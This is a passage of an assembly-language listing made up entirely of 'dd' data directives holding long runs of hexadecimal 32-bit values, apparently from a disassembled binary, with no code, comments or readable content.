		dd 81225800h, 9ADEE1DBh, 0A5949F5Eh, 68604882h,	2822125h
		dd 0D42E1DA1h, 24DFE251h, 4BD37A1Dh, 126B3271h,	2E065C94h
		dd 0AE857049h, 1404BF88h, 0AB5248D6h, 25019CB3h, 618ACF81h
		dd 343B46D6h, 0AC05FD0Ah, 2CA08C17h, 7996C640h,	517D050Bh
		dd 0A3D32505h, 9BDBA78h, 14102CCDh, 89A5FCF9h, 0ADAD5CFEh
		dd 6711DFC2h, 72878160h, 25852340h, 9F619E34h, 0DD48A29Ah
		dd 8921BD31h, 0BFB33416h, 0F8E0B8B6h, 0DD27D896h, 87AEEE1Fh
		dd 8B0AE07Fh, 0A726B5E9h, 14091B01h, 0A7B4F94Ah, 872EB575h
		dd 0D0EEBEF7h, 181ECB32h, 5E678B31h, 753FD365h,	0A0D3A6C6h
		dd 928D6D0h, 347129B9h,	53CD4F85h, 2EBCE1B7h, 0C7826D9Bh
		dd 6D59D227h, 3694A300h, 962BBFB9h, 6AB70A7Fh, 205009A8h
		dd 60A46DD7h, 0E4237F30h, 7CFF9AB7h, 9BDBE9C6h,	4E84F250h
		dd 483B8D9h, 0EC6EB4E7h, 2E5D6DC1h, 7AFFDD2Eh, 0BD0B3930h
		dd 5049F95h, 2FA6EE6Ah,	5D27D8E0h, 4E09337Ch, 0D582E4B0h
		dd 0C79F39C8h, 0B922FC19h, 2C3F0491h, 104BDD7Dh, 6BD3F1B2h
		dd 66F200D7h, 8834426Dh, 0E5C49596h, 1CC0600h, 77361ACEh
		dd 5F6C3B5Ah, 0EE552D01h, 3FA7F371h, 3760DC0Eh,	73FA8B0Eh
		dd 0FB3782AFh, 0A4EE9604h, 0F60019F8h, 1CE73B22h, 627234h
		dd 0D6206886h, 2B7811B8h, 62C22EF3h, 976935Bh, 9509F94Eh
		dd 0F6F3E389h, 61870F8Dh, 51F67EC2h, 0CE01518h,	87449527h
		dd 96643C00h, 8A50FBB3h, 14D8B0D9h, 0B60A31BDh,	0DE7EF9B2h
		dd 3410E68h, 127F8D9Dh,	0D7BDE905h, 0A705DE6Ah,	0E8037227h
		dd 89521AA7h, 0F1FAA9B6h, 96E67DBh, 0E0DB6DD5h,	0B60933B0h
		dd 989F2B75h, 549501D4h, 0E1C6AFA1h, 0C21ADB2Eh, 77D634A0h
		dd 3A274F10h, 2FD46900h, 0EFB0DFC4h, 0FC720336h, 0F190663Fh
		dd 0D8611BE0h, 9F704B5h, 0C515B0Bh, 0CF04E168h,	3EB4408h
		dd 0FFF46CFAh, 0C081DB8Dh, 9072C27Dh, 0C3FC586Dh, 6E71CB02h
		dd 0BF406A58h, 8B8032EDh, 3EBF04C1h, 0AC4153C4h, 9589C2FAh
		dd 500869A9h, 0C3EEF83Bh, 8814D3ABh, 23C6A7h, 614E175Dh
		dd 66BBA115h, 3BED6FE4h, 9BFC580h, 1FD4272Fh, 37DD295Dh
		dd 1CB78FF4h, 8EFA34E1h, 64B66065h, 1842A21Ah, 0CB377550h
		dd 9F737700h, 2C5CB6F0h, 1AF3C29Dh, 7A534CF8h, 3A1E0E70h
		dd 0E5D08A60h, 596C0A7Bh, 2AC6118h, 60BCDD8h, 5AE016CDh
		dd 7F2D32FEh, 0E6BB023Dh, 4CB38C4Ah, 9727415Ch,	82169143h
		dd 5F480FDCh, 634D5929h, 0A49EA1C1h, 803B6635h,	6AC6347Dh
		dd 30DE3ABCh, 88F29E34h, 8F262EB1h, 8913729Bh, 0FDED1BFh
		dd 3327D686h, 5F1A51E2h, 880F8C38h, 0BD0312A0h,	4A776149h
		dd 6E2B0ACDh, 0AA9D006Fh, 0DEEB37FCh, 40BFBEE5h, 1BD6D5EAh
		dd 1FAABE00h, 7370850h,	0D1FF09F1h, 9E7A8B0Fh, 198AFC4Bh
		dd 0FF537E27h, 4B1C7D8h, 6AA11173h, 0C808BA02h,	8B900216h
		dd 878E50DEh, 524A7751h, 7D316792h, 432C451h, 400CDE90h
		dd 2D146ACDh, 53E3DF00h, 578145BFh, 542B0B0Ah, 0D014FE67h
		dd 16D4149Eh, 44207F37h, 0ACBDE9ABh, 0CDE2E1E3h, 0B95B8204h
		dd 0B0FA342Ch, 2A912524h, 0F0FDB46Eh, 50810171h, 0CE6B206Eh
		dd 6E0FB0F8h, 804B1230h, 55CBE75h, 0D8640138h, 52AB022Bh
		dd 188248Ch, 9F1BD25h, 27C053A7h, 0A66BD690h, 0F5105300h
		dd 8E779A70h, 0C9B29598h, 352515F8h, 0B6A96EBFh, 2800D41Bh
		dd 4E6ADF1Eh, 0EBB867BEh, 7E5A1F2Ah, 0B7EC53Ah,	7625299Bh
		dd 5A1E602h, 3AABD77h, 8C2C49DEh, 0F0E36026h, 0D4987527h
		dd 0C125EEB0h, 45816C09h, 0ADD60347h, 2B00E84h,	0E8EDBD2Bh
		dd 470E654h, 0E444CB80h, 8062E871h, 416DBFEBh, 0EE8D0286h
		dd 0CE803399h, 1A945356h, 25B5092Dh, 35535906h,	29F6201Eh
		dd 2B41ED95h, 0F55D222Ah, 0BD3373C0h, 0D92ACD25h, 252028FFh
		dd 0F9D92021h, 81276014h, 1FD59531h, 0C9DFC104h, 2B61001Eh
		dd 0F8A392C8h, 3CC495D1h, 3CBC3Bh, 2356DAA8h, 0CE5C42Dh
		dd 0C6653726h, 988AB7ECh, 348EB3h, 6584FE54h, 0C5E47935h
		dd 0CF310A02h, 0E38A321Dh, 26FB5061h, 0D52F25BBh, 19BD8268h
		dd 47721741h, 1CE31A00h, 0EAAD8F50h, 20324300h,	61E8F430h
		dd 0CF0B122Fh, 5514F9D7h, 15DD2EBDh, 3568206Fh,	4A1E619Dh
		dd 59D2052Dh, 4112E1E2h, 29FB713h, 0F50A0EBFh, 40E85E19h
		dd 0AD972BEBh, 514AC271h, 8A33ABC8h, 52811485h,	4AB1A6B1h
		dd 902CFB82h, 0B925DDBEh, 2801124Bh, 0F800FCC4h, 183AD4DEh
		dd 4A10D3E7h, 8FC0D875h, 0EC294B40h, 271F5851h,	0ACDFB7C4h
		dd 256FD6A0h, 5908E200h, 0C7667C2Ch, 0AAFCCD28h, 94B94180h
		dd 230C9EBAh, 0F31D299Dh, 9BFC4AE1h, 0E46D80DAh, 98F72E69h
		dd 27C12054h, 29506017h, 0A05AF3C8h, 801E699Eh,	0CD97FC61h
		dd 601A446Ch, 9EF4595h,	0ED34CDB5h, 0BA14B776h,	0A6313E2Ah
		dd 47A5721Dh, 0B57DA78Ah, 0D40D848Dh, 4D9FFC63h, 8D0981EFh
		dd 652B01EDh, 0B12C04A3h, 8C0E1202h, 313C04DAh,	445037F3h
		dd 6EBB8805h, 61DAAA12h, 0AB59A7B7h, 0FC26E0ACh, 91095405h
		dd 5E7F7C21h, 7E6AC596h, 842FF10Dh, 851B9B2Fh, 3D92514Fh
		dd 0A823E3E6h, 73B62FF3h, 0C594952Eh, 26017B44h, 9C9F81B5h
		dd 3D7D27B8h, 69121CA4h, 0F9BD896Ah, 0E7514B29h, 0C0CE4DA7h
		dd 70458C03h, 0E9A4CA08h, 2E9C0Dh, 5FD45960h, 0EF05F2B2h
		dd 76588218h, 1D610C81h, 2EE1FF01h, 282B46CDh, 7B8A3C14h
		dd 6D077077h, 30BB594Fh, 0B1BD89D0h, 0F770792h,	797D66B5h
		dd 97BF73F9h, 13443214h, 0A1497F8h, 635CCF43h, 8C1BACh
		dd 0E43D0D86h, 9D691579h, 0FA07BB70h, 3604E80h,	1EF1C985h
		dd 64E8122Ah, 43EBE65h,	3F001B23h, 0DF3CEC9Fh, 0FD9E2538h
		dd 0A100A159h, 89F46FB5h, 0FAC838C3h, 0B7BD1482h, 85C5BF8h
		dd 0E8586591h, 87AE38C0h, 9573337Ch, 63D5B900h,	76FF8613h
		dd 8C7E28EAh, 604005FDh, 850990BEh, 22ADF80Fh, 0E934BE05h
		dd 0D4DD74h, 0C5912D1Eh, 0B4C8AD15h, 2AE6494Eh,	88DB509h
		dd 0B6C0ECD6h, 4577068h, 0ACDDFF73h, 0D32CB813h, 0ABBDF304h
		dd 7B4C74B3h, 92DAE124h, 6906E590h, 25E6B86Dh, 9BEC37AFh
		dd 38DBD14h, 0A3688783h, 0C6B08C42h, 2EDE39E5h,	2DFBB204h
		dd 9901BB6Ch, 4F92995Ch, 0D6B85C79h, 789C4A00h,	5363BF0Ch
		dd 0BB4E0229h, 74A28D3Fh, 917AB55Fh, 6723801Ch,	0CE7EF87h
		dd 1AD67280h, 1B4BD1E8h, 4661E9Ch, 0E998F6BFh, 0FA32949Ch
		dd 10B724E6h, 218D0BE5h, 6C85B100h, 5032BBF0h, 0EB7550FDh
		dd 899204BAh, 0BF108D9Dh, 7F208376h, 0F49A952Bh, 27ED0460h
		dd 548E597h, 0A40C45BDh, 164A816Bh, 6756DACBh, 3F0621B0h
		dd 8F5A8001h, 89F05017h, 4FFA76E6h, 5B04AE40h, 0A900D94Dh
		dd 0DE819AE2h, 499B523h, 0AED46228h, 0EBAB94F5h, 0D5002A7Bh
		dd 2C8FE935h, 0BD10095Ah, 844A0865h, 0B58C04DEh, 0C4960B1Ah
		dd 0DF5802D2h, 163113E4h, 7D00F7D9h, 505914E6h,	9F850022h
		dd 89D57F92h, 0F83E1F82h
		dd 245FBFEBh, 211DC51h,	0C0FB8B1Eh, 9AD4BF96h, 98957F8Eh
		dd 0BEBBCEh, 680D5DC6h,	5A1E91Dh, 1445EB98h, 95698FD9h
		dd 0CE00FB53h, 58E050A7h, 0FD257444h, 0E2E26070h, 5BE17EAh
		dd 20DC1D0Bh, 9933603Bh, 8DF72271h, 0C5A5533Bh,	0DB5D5226h
		dd 0ACD7C024h, 259C5CDh, 0B79C46C7h, 0D7C150F9h, 5272170Dh
		dd 1FE1D256h, 0A1E79C8Ah, 763ACFABh, 5EC2C54Eh,	0D7537F61h
		dd 73E4A158h, 0F72350ADh, 0F3204B89h, 25FED052h, 511989A5h
		dd 0FB44443Ah, 210C1970h, 8B601C42h, 7ACD790Fh,	5F5D5D8Ch
		dd 0DD42E927h, 0F000AA3Dh, 9D7EDD71h, 0B1E163Ch, 0F8ED526Ch
		dd 0F58EEE66h, 0EBCCEA13h, 35D103C2h, 0B6BCB4CDh, 4CACE4Ah
		dd 5F90AF22h, 0C98D7B29h, 5239E66h, 1492A4BFh, 434F316h
		dd 15B18D09h, 0EB818619h, 830EB9B4h, 0C2C87ABFh, 60965643h
		dd 0B315BB56h, 5B4A7FEAh, 0AA96D5CCh, 0CE79BDh,	416B5ED7h
		dd 780FAC94h, 0E0EC1ABCh, 81669690h, 92142DEBh,	545C79h
		dd 0FE9E1BF6h, 0ADFA6DAEh, 7FB3E716h, 2765DD04h, 5310812h
		dd 46F77AB0h, 804DB7CEh, 99601D64h, 0D101754Ah,	4CB49D86h
		dd 0CD2C6D3Dh, 0AE36661h, 159E59DFh, 0B3DF52F8h, 95290D1Ah
		dd 842E0D39h, 4EFCA9E2h, 0CD829CDBh, 0D6DEFF59h, 4D9FEC22h
		dd 60186437h, 2617E81Ah, 11B3C633h, 6FB71602h, 560407C2h
		dd 1546D4FDh, 0E92FD90Ah, 0DBF640D4h, 0B54FD754h, 0CA7A8C20h
		dd 6D5C12A6h, 2900E110h, 1B815h, 0DC0C7689h, 0BFB08FBDh
		dd 0C05CD858h, 6BEB9273h, 0C0AC1E3Ch, 0FDDE0028h, 0A7A57FA2h
		dd 0E4E23128h, 4A68595Dh, 19C81CDAh, 3E174DC0h,	8BC627BFh
		dd 3CFA1E02h, 536B175Ch, 334A70E4h, 46A30B00h, 9F296F60h
		dd 71BAC916h, 56D66958h, 2281529Bh, 267D5512h, 0FB53DEh
		dd 0ED7B7841h, 0F7F6036h, 4DE87093h, 0DDD3F952h, 88EBEAA5h
		dd 0B7AD2699h, 18A6846Bh, 0C4E6AC83h, 0E2ACD88Ah, 37464FA3h
		dd 208CB033h, 4B9648CAh, 6D70BEC2h, 0DC9A095Fh,	0EF9693EDh
		dd 92C43E9Ah, 0A472E847h, 15451081h, 2CFB9D2Fh,	6F9D610h
		dd 0B98BBAA0h, 0E0627A25h, 4C6DDFA0h, 39120F61h, 6435E712h
		dd 0EB8DA7Eh, 294EA2h, 3197C96Ch, 0A94EB751h, 1AB595h
		dd 80014622h, 0D998D08Ch, 0C409F525h, 0D310BF14h, 0AA00FE82h
		dd 510386DFh, 126F33Ah,	38D34F65h, 0F92A9732h, 998F6E06h
		dd 0A045B65Ah, 0B0CE605Fh, 58A95CAh, 0E313DE16h, 0F6B94D62h
		dd 9FBAC128h, 0C584496Ah, 6B1AB1E1h, 0B78AB7D8h, 69D90687h
		dd 0AB86A5B7h, 2062608Dh, 6A960379h, 7249B5C2h,	0B662D3C5h
		dd 66B0E759h, 0B8587CBFh, 95D57843h, 80BA1848h,	0DC88D4C1h
		dd 0DB6E060Bh, 0C56A8F5Bh, 66A87DAAh, 617ED980h, 0B80071E5h
		dd 38B64462h, 50110BFh,	0B5295FF9h, 0A0FF529Dh,	0A9F08BCFh
		dd 2B7E7292h, 500DA164h, 548820AAh, 0AD07442Fh,	0CCF1EF81h
		dd 2923F1EBh, 5F690DEBh, 0B99E2A02h, 0E63F7CC0h, 2809BCC6h
		dd 0DCBD0960h, 880F8B03h, 61EBA813h, 199F08Dh, 65247F82h
		dd 4CAE235h, 21A99509h,	44D6BFADh, 0AC44DF6Eh, 0B5AD93B8h
		dd 0FF1FF8BDh, 0C96ED14Eh, 883A6400h, 0D108EAD0h, 9A84A330h
		dd 4AF856BBh, 22C5CA39h, 495AA169h, 26ACF81h, 42CAF380h
		dd 0E62011CAh, 3423245h, 0DEB41713h, 0F298EE78h, 0ABF05283h
		dd 53601C0Bh, 7F25985Ah, 592E1733h, 4FFA19Ah, 0D2A2A9E2h
		dd 4EA047F6h, 0E922B892h, 8AE8000Ch, 4B634D95h,	0DFE478D8h
		dd 0E921641Dh, 0B0B20FD2h, 17DC92C4h, 4AF5FD20h, 63830B79h
		dd 88ED62E1h, 5B0D8CC0h, 79FC0914h, 0FD09383Dh,	0A4A38ECh
		dd 0DE26DCDDh, 9DD427F0h, 9A2FCA07h, 496929F8h,	0B7B9037h
		dd 0F4206068h, 3FDC5DB9h, 4610C3Fh, 1E999531h, 1A5F0ACh
		dd 0C836D112h, 0B08A2A0Fh, 80C5DA4Bh, 6BB16FB8h, 0F99F0972h
		dd 671CEB3h, 6A5F5687h,	0C0A34D9Bh, 7D1A4A6h, 43C87B4Ah
		dd 7A3E0058h, 0BBCD72A1h, 320250C9h, 895DB57Fh,	15D1C19Ah
		dd 2583D2C6h, 665126A9h, 0D635FD45h, 0B05D4ABFh, 11EF008Eh
		dd 0E67C9887h, 7B80705Ah, 4AE4C5CCh, 0DED7D371h, 0FC8A3F12h
		dd 0F92126A9h, 0C53DBB81h, 802A2DCBh, 0ACD0DF2Bh, 0F67B5422h
		dd 0C98C95FBh, 16418DA2h, 0C726007Fh, 78A137CCh, 429D0380h
		dd 0D7304039h, 2AE4D807h, 97B678EEh, 0EE605817h, 0A7326913h
		dd 8D517C12h, 280B6C23h, 79EC0D04h, 9DE70B4Ch, 0F9A24637h
		dd 0F3BF211Ch, 821CAF61h, 92D6580h, 1244AC52h, 59BD3129h
		dd 814DE97Dh, 9D89F917h, 702B2695h, 0D6D780A8h,	349A9195h
		dd 0A8C30312h, 0A09AACD4h, 0DAFBB70Fh, 96DBBEE4h, 0BBF3C500h
		dd 1F679CE7h, 79697A36h, 0EA22BF80h, 4C9D8E62h,	6CFDB425h
		dd 5A23209Bh, 0B13D9Dh,	7F0C6782h, 0BD004FEFh, 11CF81F0h
		dd 952806ABh, 1D91BBB5h, 3CC9A48Fh, 0B7D366FDh,	8BE65008h
		dd 0C5424BB9h, 0EAC284EDh, 0AC46BBh, 0B0CFAE30h, 189AA37Fh
		dd 40D14703h, 0EC3FF4D5h, 0EAA832D4h, 4D10954Ch, 0E1B5770Eh
		dd 222A68A2h, 296DBAAAh, 60601744h, 2C48482Eh, 12CD125Ch
		dd 0BC2B8B6h, 0E3CA01BDh, 58AF7B7Fh, 0E00F9465h, 0ECF922BCh
		dd 4AFDDE33h, 6BBAD909h, 57810EDBh, 3C781F02h, 54E1D70Dh
		dd 0E53D798h, 5B810BDDh, 0E6D0742Bh, 95EBA04Bh,	0CA9595C4h
		dd 5B55BF81h, 0AA201780h, 4F0D501Dh, 54A8AAA5h,	0AADF52A6h
		dd 0FDE68F4h, 2EE4CC7Bh, 0C681F2C0h, 1A959AD5h,	95BD0228h
		dd 15C4090Eh, 88BDD700h, 657B308Dh, 0D6630082h,	0D529E5C9h
		dd 0EC486693h, 0BB9BD33Dh, 8B3C5880h, 0C8A0A04Bh, 5F89159Dh
		dd 0B0E6352Bh, 0FF800154h, 906076E1h, 661C4015h, 0E270BA09h
		dd 47B95961h, 0F69B8AA0h, 3423CF00h, 0B679776Bh, 0A627095Bh
		dd 0DED2B509h, 7E17534Bh, 7ECFE4F2h, 82C39E13h,	76C92D46h
		dd 0ABA84062h, 301D2F40h, 0F7804DEDh, 9529A506h, 0A3284A59h
		dd 4BFC9EEFh, 2EA018E7h, 0BC006912h, 0EB815715h, 1E8C5E78h
		dd 1605F2Ch, 743FBAF3h,	0E5152B5Bh, 3ADCBD99h, 609FBC72h
		dd 2E898D09h, 2D095682h, 0E7079CB7h, 0C13EFF7Dh, 0D97430A0h
		dd 5B9DAF20h, 1612E309h, 43DE01EBh, 0BADE2682h,	0DC6B4A54h
		dd 1A4EDECEh, 4FB5DCC8h, 0F8B91341h, 5507B253h,	35D515BAh
		dd 0A18C0E74h, 57518342h, 2F07E4C6h, 35496959h,	26C9601Eh
		dd 71AC8E3h, 31C79AA0h,	4B8CF002h, 74D05B5Fh, 83373A1Ch
		dd 0CD82FB8h, 0A42490FEh, 345A0EEFh, 90277980h,	0A863456Ah
		dd 0F4BB0910h, 9FA2551Eh, 5E0B4A94h, 95EDAF56h,	536DB1C0h
		dd 890B0301h, 0EEFDF228h, 300DB5A8h, 0E9E1C9B7h, 0DA920A6Dh
		dd 8BCB80D7h, 45E80348h, 0CFEEE407h, 5806F00Bh,	146271FAh
		dd 200D049h, 16274B60h,	9D947A4Fh, 0DDF910A7h, 0F94A0375h
		dd 0D28985BCh, 72482480h, 92CA2E1Eh, 0D404F4C9h, 99612F5Fh
		dd 0B7E32A26h, 5180FB93h, 3CC16BBFh, 0C169319Eh, 3E39E4FDh
		dd 885AFA8Ah, 0ECB5D9D3h, 4F33D107h, 0D3ADAE00h, 0CF210316h
		dd 0B86C0D00h, 0EF686B57h, 3A813EDEh, 0BD3AE5B0h, 0B9BF31EDh
		dd 8BC460DAh, 0B70F05D1h, 0C22961D2h, 0E2092B9Eh, 0F086D3CEh
		dd 0D204A678h, 0C59B531h, 0EF961A12h, 0D0B02D82h, 506B835Ch
		dd 2B2F41F6h, 0F7818530h, 0EB240116h, 0D58D2941h, 8B762E0Ah
		dd 16702550h, 30A283C6h, 0D6842EFDh, 0B8F0BEE6h, 0A43C06C4h
		dd 33620631h, 2DAA7823h, 0D0F11ABDh, 0B991015Ch, 0FB47C250h
		dd 73132EF8h, 2C01D56Fh
		dd 0A173C171h, 3AA26C96h, 9F6ECF50h, 23F9FB00h,	3429E2BEh
		dd 0BF04A6E4h, 24DC499Fh, 0F2D288B8h, 53EE07E4h, 40FFD898h
		dd 723B6FC2h, 80545ECFh, 5F85D06Dh, 93C681Eh, 3404B653h
		dd 27E803CDh, 0B8FAC305h, 0C0849B49h, 17C6A38Bh, 4EC49051h
		dd 0B65912D5h, 3016B296h, 604E96B0h, 6A0069B2h,	2B70CCA7h
		dd 4E0377DAh, 45EDF801h, 94ACD0F7h, 1E461329h, 0F6091853h
		dd 9D5C59EBh, 6C204885h, 7E61897h, 9061EE02h, 0B0D07BB7h
		dd 0FD8A04C4h, 1CF2FA84h, 0C2A9202h, 26372B0h, 93BF1C02h
		dd 0DC73A60Bh, 0DCEB2EDAh, 0B35DA707h, 0D6626FDAh, 636C5569h
		dd 26519512h, 0E9B4DEBCh, 0A5A8FCh, 1ED79705h, 5085B9CCh
		dd 21204898h, 0D63EDD0Ah, 6165B065h, 0CCB7B7h, 59307B3Dh
		dd 0DD4ABE84h, 2D2EB4A1h, 7C303A20h, 4BD1BD23h,	2226CE0Dh
		dd 4D297D3Bh, 0E91A8A71h, 3755174Bh, 48790259h,	1F63EEB1h
		dd 600B08C2h, 0BE1B6D91h, 61F0897Ch, 0D0EE1D5Dh, 0F94BBFD3h
		dd 2A809A9Bh, 0DA9F3DF6h, 6B9B3304h, 0CCF6608Ch, 60C9851Eh
		dd 5E3146B7h, 8489F2F5h, 9A941285h, 2196EAFh, 4F7192B1h
		dd 8B0645AFh, 6F04E5h, 9C82F440h, 50E4E230h, 5E99FE02h
		dd 0B6DF71Eh, 70458D89h, 43359573h, 0D6801D91h,	332D20E5h
		dd 35AF5404h, 75AE11BBh, 0A92CA9B9h, 5EB5AF60h,	0B0DDE7A1h
		dd 482012AFh, 0E9107B50h, 0B1E75B1Ah, 12366A5Fh, 22BB36C2h
		dd 10756E75h, 17C61CEh,	9746045h, 47C21471h, 2610BEC1h
		dd 0CA3FF05Fh, 2070ED20h, 3C0B00CEh, 0E4F1F7CCh, 0BC0060FDh
		dd 5DA888A2h, 0DC61C1B1h, 9CBBC134h, 0E645854Ch, 3096DA41h
		dd 1E57A917h, 301CA2E3h, 0D55F86D9h, 89252DA3h,	3AFC9091h
		dd 0A3AA1E75h, 0ACCFF04Ah, 809E27E5h, 6F84DE2h,	64A4CD95h
		dd 0E93C6018h, 844F25C0h, 8DC1A876h, 4B0A0171h,	12E0A6E6h
		dd 0E778ED5h, 81167600h, 3A6F35DFh, 0A727B405h,	0B1037ABDh
		dd 15680EBh, 313827B2h,	3A1BB59Dh, 0BEED2F64h, 8301E3A8h
		dd 22FA2CDh, 0A1308087h, 8A6A2FEFh, 0B54B6D43h,	0EAB92BC4h
		dd 28C17ACh, 5A401018h,	0F0D58509h, 0E92997DBh,	0DDD274FBh
		dd 0D68D88A3h, 3F7D2FB9h, 9834C8h, 2A442620h, 5D012DCEh
		dd 0E000ADFEh, 5533BCDFh, 1A6F63BFh, 7E5B59D9h,	38707BF3h
		dd 74760421h, 4011E977h, 6EAAD7D3h, 83D201CAh, 0A7B08772h
		dd 6033ED92h, 12B03ADDh, 26C4A59Eh, 2926D48Ah, 0BD1A120Eh
		dd 0FCF8CB41h, 25BA812Bh, 701B9181h, 0D0258AC6h, 607DD65Ah
		dd 0B7AEE87Bh, 0FE4EAA00h, 61A002DEh, 0A6344A89h, 5742F0B2h
		dd 0AE31A855h, 0C0DA003Ah, 0FC026216h, 359FBC2Fh, 81179160h
		dd 0D9CCBE65h, 87D00428h, 0BD039512h, 0A6FD24Fh, 9230EE01h
		dd 3AF964BAh, 8A218828h, 73B6857Fh, 7AB530FAh, 0F3970B0h
		dd 5C08009Ch, 15E54DAFh, 36B605BFh, 455F417Bh, 6EDD8AB1h
		dd 31D2386h, 2647C710h,	62F4B2F8h, 4657A827h, 0B5313F79h
		dd 0F4F32026h, 77001B46h, 4EFD9285h, 23D8A0Fh, 0F3820581h
		dd 0B6E064ACh, 0C5E59511h, 27A79170h, 0AC4571FDh, 0F7806110h
		dd 0E58CEF3h, 286D2D85h, 0F390F343h, 0ECC180D5h, 0D01E647Eh
		dd 4AAFE959h, 8CE8B0A9h, 65EBF4F1h, 5EFBA313h, 5F5297C1h
		dd 50B98E7Ah, 1E403565h, 0E96107F9h, 1BFFF142h,	0B2C0C1EDh
		dd 904993E6h, 9524F257h, 325E8270h, 6A4ECDA3h, 301E0035h
		dd 79134C62h, 0A887131Ah, 4ACBA302h, 7DF4C8h, 923BCFBFh
		dd 135FD03h, 2D489576h,	117C409Bh, 81D56707h, 52C4B047h
		dd 3DF92DABh, 143F4CEAh, 91F61CA1h, 7EE60335h, 0C9F29150h
		dd 0BCC46B98h, 2643629Fh, 0A9D6890Fh, 0FC170EC4h, 78BA61E7h
		dd 0DB2F0BEEh, 0EC9CC06Eh, 9DDD1B8Bh, 0CD55A50Bh, 0E3FC69BEh
		dd 4322EE83h, 0E2AC9CAAh, 6142E54Fh, 23BC6EDDh,	575DBBC2h
		dd 95B78DABh, 0A8F2CE12h, 0DDB2A000h, 758173A1h, 97178B4Bh
		dd 0B7225720h, 0A6EA000Eh, 4DE913FCh, 0F00B3C6Fh, 28425C6Dh
		dd 0FE13A994h, 0C85EB3A3h, 6607487Ch, 0E25D64DBh, 0E30BAC0h
		dd 0B7FF28CDh, 0F31D4ACAh, 1F6B927Eh, 421C5504h, 834DEC4Dh
		dd 0F0130426h, 5FBD29EAh, 5F720BD5h, 0D968C680h, 0FF271D6Dh
		dd 0C07FCDD1h, 51921F1Ch, 455FF827h, 10C33CD6h,	0F99720A9h
		dd 4BB852h, 83D0372Bh, 94B31768h, 0D501E0A6h, 71CAB74Eh
		dd 806B6397h, 509FBD49h, 559C20EDh, 59F2224Bh, 6BD2h, 299CD1CBh
		dd 0F0CA593Eh, 0BEED5A83h, 0B2CE6A40h, 0FA600Bh, 8C5A9722h
		dd 49B85E92h, 64E97612h, 82E1A0BCh, 558004EEh, 490FA533h
		dd 4184DA83h, 0CEC5E916h, 0FD7982BFh, 1225D465h, 98641F8h
		dd 7E0A058Dh, 574E545Ah, 1426B965h, 0FC2A00D6h,	6AF8B8B7h
		dd 0B64E8491h, 0B7E7BC94h, 0E94A85B0h, 9D33D61Dh, 23321010h
		dd 79092CF2h, 6BAFACC3h, 185081DEh, 1A7906Ah, 0F8CF813Fh
		dd 600F82BBh, 114BE5FCh, 0FCE849B9h, 4CF5C027h,	15E20BCh
		dd 60F8894Ah, 13E293h, 2013E51Bh, 0BBF674Bh, 799D0B09h
		dd 0B05F6B23h, 70E6F880h, 27DECA0h, 0A871E480h,	725A6Fh
		dd 7769AF18h, 8BC15997h, 20DB269Dh, 0E757487Dh,	4A253D11h
		dd 0A286B4E4h, 4FD123h,	9C74C576h, 0DB9EBA62h, 9159162h
		dd 8E0F8682h, 0B32D71FAh, 3D1D71C3h, 0B1DFA0ADh, 13AF858h
		dd 6D9509FDh, 81200908h, 8BF50AFAh, 228F01D1h, 52E94EE3h
		dd 0C7438823h, 80EA1800h, 4BADD61Fh, 914607B2h,	720DFCA8h
		dd 2A628A52h, 4C4470C0h, 8E02DBE3h, 880F187Ah, 0F2632909h
		dd 0F5D881E8h, 0F380464Eh, 2D8D8907h, 3F712151h, 0DE5A9A27h
		dd 0B3151364h, 5A2C2202h, 5E78E2FCh, 33CABC8h, 904D70DEh
		dd 7DA0371Eh, 0A713C15Dh, 0DFFD602Dh, 3107E143h, 409673E0h
		dd 7B367623h, 1CCD334Eh, 0AF83203Ah, 8C98368h, 1424D921h
		dd 0DFC9B62Dh, 0FB2621DBh, 8093CF60h, 5AC01F6Eh, 3BED424Fh
		dd 786297F8h, 8F0F9A10h, 5631016Bh, 686EE278h, 6D9D3100h
		dd 0E464B702h, 0DE78109h, 87FFD13Bh, 1910B9F9h,	1C1239F1h
		dd 0FD9291BDh, 2D6A818h, 8DC10376h, 0A840FC6Fh,	9832815h
		dd 2FB9950Eh, 0F4C9755Ch, 170F109Bh, 0EA1AD22Bh, 0DBAF5E8Ah
		dd 4E395822h, 3F8789F8h, 0E889489Bh, 75969057h,	0CCD738D5h
		dd 0AC8B5E38h, 9B41218Ah, 5B01C2D1h, 763C63B7h,	502A37D6h
		dd 0D95B4097h, 6423FF03h, 0D86986E5h, 9B4969Ch,	26F59D89h
		dd 0BF48AAD1h, 0DBF84AB8h, 94E96BEDh, 0B13FBAA8h, 1D0CC60h
		dd 290CA5AAh, 946E21B5h, 0A3ADBC71h, 0DB434A64h, 0E90285DFh
		dd 0AACCF534h, 0E5D200CCh, 4910B764h, 0F8EF5C9Eh, 0E34AD3A8h
		dd 0F94A54F7h, 0EE3A84Fh, 6B7C9FCFh, 9E1FF60h, 24AADBDh
		dd 0E58D3CF3h, 869F605Fh, 6738CA13h, 0ED8D59A2h, 0A4DB2B27h
		dd 8C991180h, 744A129Bh, 7E947EEDh, 52471627h, 0DF747D1Ah
		dd 0A4A4A7B7h, 0D017B309h, 5CB7B542h, 8AF75F00h, 0B0AEA1Ah
		dd 8A98531h, 0E5455AF2h, 0DB45162Fh, 40A780FFh,	2D8C74Bh
		dd 5386EF81h, 57602795h, 524E44DFh, 1A414692h, 44CECD5Dh
		dd 1CD8BE71h, 0BA3D559Dh, 77109206h, 0A263828Dh, 610521F2h
		dd 53811B24h, 0CA2B08C1h, 44892561h, 409B972Bh,	0A313210h
		dd 8D0F900Eh, 0C094A952h, 423CC1B0h, 0C2CD5E2Dh, 605B1Eh
		dd 179690DFh, 0CEE609DCh, 54644B31h, 0F2321500h, 7FBB2B6Fh
		dd 21940284h, 6A31233Ah, 0BA7802F3h, 5E25048Eh,	816AB829h
		dd 2685B0h
		dd 0D2D99531h, 7F20Dh, 5BFA8BCDh, 224875ABh, 5FE0890Fh
		dd 4D0E6801h, 96B7A16Fh, 0F14B012Eh, 705EAFB6h,	0CA4A9010h
		dd 6A2B87DDh, 0AECA3D29h, 692F0DEh, 0AFB046BCh,	6F45E9A9h
		dd 258DD35Ch, 1F7B1D79h, 0E45C70A7h, 0F45C12AEh, 5A9EF27Dh
		dd 0BC02B16Fh, 0ED1942B0h, 4668B25Eh, 0FA9D0343h, 3D96570Dh
		dd 1435B5h, 0A4E3E228h,	9198D73Ch, 11729097h, 0C86900A6h
		dd 4491AAD0h, 0DE005B9Fh, 32FF62D5h, 2FF27224h,	2BC056AFh
		dd 5F5E92E9h, 44960B20h, 0BD93029Ah, 15D35AECh,	738E1176h
		dd 8943844Bh, 0CAF99192h, 0D615767Bh, 64041746h, 0A293B53Dh
